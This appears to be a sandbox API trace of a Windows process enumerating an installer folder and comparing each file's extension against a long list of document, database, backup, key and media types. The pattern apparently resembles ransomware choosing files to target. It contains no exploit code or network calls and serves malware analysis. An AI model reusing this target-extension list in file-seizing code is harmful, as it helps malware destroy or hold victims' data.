	[0069.299] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.299] lstrlenW (lpString=".ini") returned 4
	[0069.299] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".iqy") returned 4
	[0069.299] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".j2c") returned 4
	[0069.299] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".j2k") returned 4
	[0069.299] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".java") returned 5
	[0069.300] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.300] lstrlenW (lpString=".jp2") returned 4
	[0069.300] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpc") returned 4
	[0069.300] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpe") returned 4
	[0069.300] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpeg") returned 5
	[0069.300] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpf") returned 4
	[0069.300] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpg") returned 4
	[0069.300] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".jpx") returned 4
	[0069.300] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".js") returned 3
	[0069.300] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.300] lstrlenW (lpString=".jsf") returned 4
	[0069.300] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".json") returned 5
	[0069.300] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.300] lstrlenW (lpString=".jsp") returned 4
	[0069.300] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".kdc") returned 4
	[0069.300] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.300] lstrlenW (lpString=".kmz") returned 4
	[0069.300] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".kwm") returned 4
	[0069.301] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".lasso") returned 6
	[0069.301] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.301] lstrlenW (lpString=".lbi") returned 4
	[0069.301] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".lgf") returned 4
	[0069.301] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".lgp") returned 4
	[0069.301] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".log") returned 4
	[0069.301] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".m1v") returned 4
	[0069.301] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".m4a") returned 4
	[0069.301] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".m4v") returned 4
	[0069.301] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".max") returned 4
	[0069.301] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".md") returned 3
	[0069.301] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.301] lstrlenW (lpString=".mda") returned 4
	[0069.301] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mdb") returned 4
	[0069.301] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mde") returned 4
	[0069.301] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mdf") returned 4
	[0069.301] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mdw") returned 4
	[0069.301] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mef") returned 4
	[0069.301] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.301] lstrlenW (lpString=".mft") returned 4
	[0069.302] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mfw") returned 4
	[0069.302] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mht") returned 4
	[0069.302] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mhtml") returned 6
	[0069.302] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.302] lstrlenW (lpString=".mka") returned 4
	[0069.302] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mkidx") returned 6
	[0069.302] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.302] lstrlenW (lpString=".mkv") returned 4
	[0069.302] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mos") returned 4
	[0069.302] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mov") returned 4
	[0069.302] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mp3") returned 4
	[0069.302] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mp4") returned 4
	[0069.302] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mpeg") returned 5
	[0069.302] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.302] lstrlenW (lpString=".mpg") returned 4
	[0069.302] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mpv") returned 4
	[0069.302] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mrw") returned 4
	[0069.302] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".msg") returned 4
	[0069.302] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".mxl") returned 4
	[0069.302] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.302] lstrlenW (lpString=".myd") returned 4
	[0069.302] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".myi") returned 4
	[0069.303] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".nef") returned 4
	[0069.303] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".nrw") returned 4
	[0069.303] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".obj") returned 4
	[0069.303] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".odb") returned 4
	[0069.303] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".odc") returned 4
	[0069.303] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".odm") returned 4
	[0069.303] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".odp") returned 4
	[0069.303] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".ods") returned 4
	[0069.303] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".oft") returned 4
	[0069.303] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".one") returned 4
	[0069.303] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".onepkg") returned 7
	[0069.303] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.303] lstrlenW (lpString=".onetoc2") returned 8
	[0069.303] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.303] lstrlenW (lpString=".opt") returned 4
	[0069.303] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".oqy") returned 4
	[0069.303] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".orf") returned 4
	[0069.303] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.303] lstrlenW (lpString=".p12") returned 4
	[0069.303] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".p7b") returned 4
	[0069.304] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".p7c") returned 4
	[0069.304] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pam") returned 4
	[0069.304] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pbm") returned 4
	[0069.304] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pct") returned 4
	[0069.304] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pcx") returned 4
	[0069.304] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pdd") returned 4
	[0069.304] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pdf") returned 4
	[0069.304] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pdp") returned 4
	[0069.304] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pef") returned 4
	[0069.304] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pem") returned 4
	[0069.304] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pff") returned 4
	[0069.304] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pfm") returned 4
	[0069.304] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pfx") returned 4
	[0069.304] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".pgm") returned 4
	[0069.304] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".php") returned 4
	[0069.304] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.304] lstrlenW (lpString=".php3") returned 5
	[0069.304] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.304] lstrlenW (lpString=".php4") returned 5
	[0069.305] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".php5") returned 5
	[0069.305] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".phtml") returned 6
	[0069.305] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.305] lstrlenW (lpString=".pict") returned 5
	[0069.305] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".pl") returned 3
	[0069.305] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.305] lstrlenW (lpString=".pls") returned 4
	[0069.305] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".pm") returned 3
	[0069.305] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.305] lstrlenW (lpString=".png") returned 4
	[0069.305] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".pnm") returned 4
	[0069.305] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".pot") returned 4
	[0069.305] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".potm") returned 5
	[0069.305] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".potx") returned 5
	[0069.305] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".ppa") returned 4
	[0069.305] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".ppam") returned 5
	[0069.305] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".ppm") returned 4
	[0069.305] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".pps") returned 4
	[0069.305] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.305] lstrlenW (lpString=".ppsm") returned 5
	[0069.305] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.305] lstrlenW (lpString=".ppt") returned 4
	[0069.306] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".pptm") returned 5
	[0069.306] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.306] lstrlenW (lpString=".pptx") returned 5
	[0069.306] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.306] lstrlenW (lpString=".prn") returned 4
	[0069.306] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".ps") returned 3
	[0069.306] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.306] lstrlenW (lpString=".psb") returned 4
	[0069.306] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".psd") returned 4
	[0069.306] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".pst") returned 4
	[0069.306] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".ptx") returned 4
	[0069.306] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".pub") returned 4
	[0069.306] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".pwm") returned 4
	[0069.306] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".pxr") returned 4
	[0069.306] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".py") returned 3
	[0069.306] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.306] lstrlenW (lpString=".qt") returned 3
	[0069.306] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.306] lstrlenW (lpString=".r3d") returned 4
	[0069.306] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".raf") returned 4
	[0069.306] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.306] lstrlenW (lpString=".rar") returned 4
	[0069.306] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.307] FindNextFileW (in: hFindFile=0x3121290, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.307] FindNextFileW (in: hFindFile=0x3121290, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.307] FindNextFileW (in: hFindFile=0x3121290, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.307] FindClose (in: hFindFile=0x3121290 | out: hFindFile=0x3121290) returned 1
	[0069.307] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.307] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0069.307] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0069.307] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121510
	[0069.308] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.308] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.308] lstrlenW (lpString="eula.rtf") returned 8
	[0069.308] lstrlenW (lpString=".1cd") returned 4
	[0069.308] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".3ds") returned 4
	[0069.309] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".3fr") returned 4
	[0069.309] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".3g2") returned 4
	[0069.309] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".3gp") returned 4
	[0069.309] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".7z") returned 3
	[0069.309] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.309] lstrlenW (lpString=".accda") returned 6
	[0069.309] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".accdb") returned 6
	[0069.309] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".accdc") returned 6
	[0069.309] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".accde") returned 6
	[0069.309] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".accdt") returned 6
	[0069.309] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".accdw") returned 6
	[0069.309] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.309] lstrlenW (lpString=".adb") returned 4
	[0069.309] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".adp") returned 4
	[0069.309] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".ai") returned 3
	[0069.309] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.309] lstrlenW (lpString=".ai3") returned 4
	[0069.309] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".ai4") returned 4
	[0069.309] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.309] lstrlenW (lpString=".ai5") returned 4
	[0069.309] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".ai6") returned 4
	[0069.310] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".ai7") returned 4
	[0069.310] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".ai8") returned 4
	[0069.310] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".anim") returned 5
	[0069.310] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.310] lstrlenW (lpString=".arw") returned 4
	[0069.310] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".as") returned 3
	[0069.310] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.310] lstrlenW (lpString=".asa") returned 4
	[0069.310] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".asc") returned 4
	[0069.310] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".ascx") returned 5
	[0069.310] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.310] lstrlenW (lpString=".asm") returned 4
	[0069.310] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".asmx") returned 5
	[0069.310] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.310] lstrlenW (lpString=".asp") returned 4
	[0069.310] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".aspx") returned 5
	[0069.310] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.310] lstrlenW (lpString=".asr") returned 4
	[0069.310] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".asx") returned 4
	[0069.310] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".avi") returned 4
	[0069.310] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".avs") returned 4
	[0069.310] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.310] lstrlenW (lpString=".backup") returned 7
	[0069.311] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.311] lstrlenW (lpString=".bak") returned 4
	[0069.311] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".bay") returned 4
	[0069.311] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".bd") returned 3
	[0069.311] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.311] lstrlenW (lpString=".bin") returned 4
	[0069.311] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".bmp") returned 4
	[0069.311] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".bz2") returned 4
	[0069.311] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".c") returned 2
	[0069.311] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.311] lstrlenW (lpString=".cdr") returned 4
	[0069.311] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".cer") returned 4
	[0069.311] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".cf") returned 3
	[0069.311] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.311] lstrlenW (lpString=".cfc") returned 4
	[0069.311] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".cfm") returned 4
	[0069.311] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".cfml") returned 5
	[0069.311] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.311] lstrlenW (lpString=".cfu") returned 4
	[0069.311] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".chm") returned 4
	[0069.311] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".cin") returned 4
	[0069.311] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.311] lstrlenW (lpString=".class") returned 6
	[0069.311] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.312] lstrlenW (lpString=".clx") returned 4
	[0069.312] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".config") returned 7
	[0069.312] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.312] lstrlenW (lpString=".cpp") returned 4
	[0069.312] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".cr2") returned 4
	[0069.312] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".crt") returned 4
	[0069.312] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".crw") returned 4
	[0069.312] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".cs") returned 3
	[0069.312] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.312] lstrlenW (lpString=".css") returned 4
	[0069.312] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".csv") returned 4
	[0069.312] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
